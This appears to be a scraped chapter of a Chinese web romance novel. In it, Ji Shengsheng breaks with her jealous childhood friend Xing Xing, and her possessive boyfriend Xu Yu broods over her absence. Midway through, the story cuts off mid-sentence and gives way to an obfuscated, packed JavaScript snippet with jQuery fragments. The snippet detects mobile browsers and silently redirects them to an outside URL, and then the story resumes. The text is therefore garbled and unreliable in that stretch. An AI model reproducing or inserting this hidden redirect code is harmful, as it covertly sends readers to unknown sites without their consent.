尽管被许余激了一下，邢星确实也冲动了几次想要立刻打电话给纪声声，但他不是傻子。


    许余怎么会那么轻易就和他见面？


    和他说的话怎么可能没有其他用意？


    如果他冲动了，和纪声声表白，或者要纪声声立刻做出选择，很难保证纪声声会选他。


    所以，他是打算使用亲情牌和友情牌。


    邢星不准备逼纪声声做什么，他会努力引导纪声声选择一个不会影响他们友情和正常交往的伴侣。


    终于，在奶奶过生日的早晨，邢星见到了纪声声。


    他翻出来以前的同学录，招呼纪声声一起看，但被拒绝。


    邢星很错愕。


    只是坐在一起看同学录而已。


    看着邢星抱着册子站在那里一眼不发，纪声声感觉头痛得不行。


    她要先确认一下邢星前几天的反常到底是开玩笑，还是真的有什么想法。


    她不会自作多情，觉得身边的人都喜欢她。


    邢星走过来拽着她的胳膊，刚想说几句逗贫的机灵话，一眼看到她领口下面的痕迹。


    ……太微妙了。


    ……刚好是特意去看才能看到的程度。


    “……你和许余？”邢星气到昏头，没忍住。


    “什么？”纪声声不明白他突然发什么疯。


    “你过来。”邢星拉着她的手臂走到窗子边，“你和许余什么情况？”


    他一直觉得纪声声很保守，像他一样保守。


    谈恋爱亲亲抱抱举高高就可以了，没结婚怎么能做出格的事情？


    “我和许余什么情况？”纪声声不明白，“我们就是正常的感情很好的情侣的情况呀？”


    在邢星看来，这等于是默认了。


    “不是？”邢星气得把同学录放一边，要跟纪声声好好说道说道这件事，“你三年前和许余根本就没在一起……你这次回来一共还没半年，你们在一起超过三个月吗？”


    纪声声不知道他到底在气什么。


    “……所以？”


    “你们住一起了？”邢星忍不住，直接问出这个问题。


    纪声声：“……”


    再好的朋友，也没有报备这些的必要。何况他们还是异性，该有彼此的分寸。


    “邢星，你再发疯，我就不跟你做朋友了。”


    邢星：“……不是我发疯，是许余。”


    “你知不知道，他前几天跟我见面，故意激我？”邢星气到不能冷静地组织语言，“还有，他知道你要回来，搞这个痕迹，不就是想让我们决裂吗？”


    且不说她完全不觉得许余会故意做这些事情，就算是故意……


    纪声声：“……那又怎样？”


    邢星感觉她被许余灌了迷魂汤，恨不得把她脑子里不干净的东西都晃荡出去。


    “纪声声，哪天许余杀了我，也是你递的刀！”


    纪声声觉得莫名其妙：“他真的杀你，也肯定有他的理由。”


    “声声，邢星，你们在吵架吗？”


    看见他们两个在窗子旁边站了好久，邢星脸涨得通红，纪声声也一直抱着手臂，纪母忍不住询问。


    “没有。”


    “没有。”


    两人异口同声，又纷纷不再看向对方。


    为邢星奶奶庆祝生日的气氛很热烈，一扫过年那几天两家人之间沉重的阴霾。


    纪声声除了不和邢星说话和对视，其他时刻都表现得很得体。


    邢星当然也看得出来。


    吃过饭以后，纪声声端来生日蛋糕，让奶奶许愿。


    然后，她听见邢星的奶奶说——


    她的愿望是有生之年，能够看见她和邢星结婚生孩子，让她抱上大孙子。


    且不说她和邢星根本不可能结婚，她从来没打算生下一个小孩。


    纪母和纪父对视一眼。


    他们从情感上已经接纳了许余，并不想再撮合纪声声和邢星。再者，他们也不喜欢“大孙子”这种期待。


    纪父一直认为邢星家里有些重男轻女。看在两家关系不错的份上，许多个这种时刻，他一直没多说过什么。


    “咳，儿孙自有儿孙福，年轻人在感情上的事情，就让他们自己看着来吧。”纪父给邢星奶奶倒上一杯果汁。


    “邢星你说话啊，赶紧表个决心……”邢星奶奶提醒。


    不知道自己被什么情绪蛊惑，还是气氛到了这里，邢星都没意识到自己在做什么，话已经说出口了：“我也觉得我和声声其实挺合适的，都知根知底的，就是不知道声声怎么想的。”


    “我有男朋友了。”纪声声看着邢星的奶奶，又把目光落在邢星的脸上，“邢星都见过的。”


    “今年过年的时候，已经来我家里拜访过，我爸妈对他也很满意。”


    说完，考虑到两家父母之间的关系，纪声声还是说了些场面话：“邢星家室好，人靠谱，长得高高大大的，不愁找不到比我更好的。”


    邢星奶奶脸色不好，邢星情绪也差。纪声声说完，就闷头吃饭。


    这是邢星奶奶曾经当着她的面夸过的话，她都不用现想，就能立刻复述出来。


    胃口确实是养回来一些，在这种气氛下她都能吃得下去了。


    她说完以后，饭桌上弥漫着沉默，很长时间都没人再说话。


    等气氛慢慢从尴尬缓和过来，纪声声和父母说明情况，就准备回潞城了。


    她经常说话不算数，但这一次，就算是发生天大的事情，也不能阻止她按时回去。


    “你先别走，我有话要和你说。”


    她刚出门，邢星就追上来。


    “我赶车。”纪声声看了眼时间，她坐城际快车，还有一小时就要发车了。而且，她还要回家拿东西，现在一点时间都耽误不得。


    “你不觉得说到这样就走很不负责吗？”邢星想不通，“我们这么多年的朋友，许余到底跟你说什么了，你能这么偏向他，朋友都不做了吗？”


    邢星知道，要是平时，他绝不会这么纠缠不休。


    但是从许余和他说完那些话开始，到今天纪声声的种种反应，他充满焦虑和不安，他就要在今天要出一个结果。


    本来，纪声声回来之前是有过考量的。


    她准备了很多晓之以理、动之以情的话和邢星谈，但是没有机会，回来以后邢星就莫名地在找茬。


    她只是想幸福，没有主动伤害谁，所以也不接受无端地责备。


    邢星看得出来纪声声真的生气了，似乎在下定决心，便缓和地：“哎呀，不生气了，我先送你回家拿东西，路上说。”


    纪声声正在打车，邢星执意要送她。


    拧不过，纪声声只能先同意。


    不想再惹纪声声生气，在车上，邢星迂回地：“虽然以前我也谈朋友，但是你看我那些朋友，就没有跑到你面前来……”


    说着，他突然想起肖杨，又纠正：“在肖杨之前。”


    “说起来，你谈恋爱的时候，我从未主动找你，或者让你来找我。”纪声声不想再多说，便给邢星下最后通牒。


    “我不会放弃许余，如果你还想做朋友，我们就约法三章。”


    “第一，不许再说诋毁许余的话，无论是在任何人面前。第二，保持普通朋友的距离，不要不打招呼就突然紧急电话或者语音要求立刻见面。第三，不许再说暧昧的话，做暧昧的事情，让别人误会我们的关系。”


    邢星：“……这跟绝交了有什么区别？”


    纪声声：“……”


    她以前真是太纵容邢星了。


    到家以后，纪声声迅速收拾好行李，便准备出门，邢星追到门口，还差点撞到隔壁的盛奶奶。


    “你们两个要出门啊？”盛奶奶看着他们都很着急的样子。


    “对。”纪声声打过招呼，便要打车去车站。


    “纪声声，你要走，我就和你绝交。”


    ……


    成玉觉得许余很奇怪。


    头一天晚上莫名其妙来公司工作一夜，还很有状态，第二天就像换了个人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644547|186519||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，冷漠、冷淡、冷若冰霜。


    也不是身体状态的让人不安，而是精神状态不好。


    他劝许余去休息，许余根本不理他。


    “我说……”成玉没谈过恋爱，真的很不懂，“人家不是说三个月热恋期，天大的矛盾都能化解成浓情蜜意吗？”


    “你们怎么天天闹成这样？”成玉很窝心地，“搞得我都恐恋了。”


    许余看了他一眼。


    看着他嘴巴一张一闭，听不见他在说什么。


    纪声声给他发了出发的信息，她会如约回来。


    但是按照车次时间，此时她应该已经到家了。


    可是至今手机里都没有任何她的消息。


    既没有人进门，也没有门外有人长时间驻留的视频提醒。


    许余等不了。


    可以一刀致他于死地，但活着的最后一秒，他都不接受失去。


    “我出去一下。”


    “好的。”


    只是一下，应该也不会太久，成玉是这样想的。


    许余将车子停在纪声声桃源的家楼下，上楼梯的每一步脚步都很沉。


    他最好不要在这里看到纪声声，不要听见她说有什么样的原因，不要看见她和邢星在一起，解释他们就是普通朋友。


    终于到了门口，许余按响门铃，没有人应。


    家里没人。


    稍微松了口气，许余准备给纪声声打个电话，跳出正要拨通，邻居奶奶开门出来，看见他，表情慈祥而和蔼。


    “找声声啊，她出门去了。”


    “说是要赶车子。”


    表示感谢以后，许余放下心来。


    只要她如约回家，一切还有的商量。


    甚至，就算纪声声还非要和邢星做朋友，他也可以原谅。


    他没那么狠心，偏要纪声声在这个时候做出决断。


    对许余有印象，盛奶奶还很喜欢这个男孩子，知道他和纪声声关系很好，就多说了两句：“和邢星一起走的。”


    许余挂断那个未拨通的电话，放下手机。


    ……


    ……这是真的很难原谅啊。


    除非她主动认错，不然他都不准备原谅。


    ……


    许余回到公司时已经凌晨三点多。


    成玉看见他风尘仆仆的样子：“这就是你说的出去‘一下’？”


    这“一下”就是好几个小时，就是后半夜了。


    许余没有理他。


    在来公司之前，他已经回过家。


    他期待打开门，就看见纪声声在房间里，放下吹风机转身问他为什么这么晚回来，告诉他她已经等他很久，然后主动抱他、吻他，说爱他。


    但是一切都是他想象。


    什么都不存在。


    只要纪声声离开他的房间，这个家就好像从来没出现过她一样。


    没有她的呼吸，她的味道，她的温度，让人抓狂。


    站在房间内，他似乎幻听了纪声声的声音。


    反复确认一切都是假象，许余消除掉纪声声的指纹解锁。


    这样，她回来，他就能第一时间知道。


    如果她不会再回来，至少不会再产生“她已经回来了”的幻像。


    得到又失去，他被这些幻像折磨得要疯了。


    不过，她一定会回来吧。


    她回来，许余就当什么都没有发生过。


    ……


    成玉心里打鼓。


    许余从回来开始一直在闷头工作，一言不发。


    他猜测他们可能吵架了。


    但是也不是很确定。


    毕竟上次许余只是从家里出来不到一个小时，纪声声的电话就打了过来，没过多久，人也杀了过来。


    他们真的吵架的话。这会儿纪声声应该已经来公司捞许余了。


    成玉看了眼自己的手机，很安静。


    想了想，他还是给纪声声发了个消息：“声声啊，最近忙不忙啊？要不要一起吃个饭？”


    ??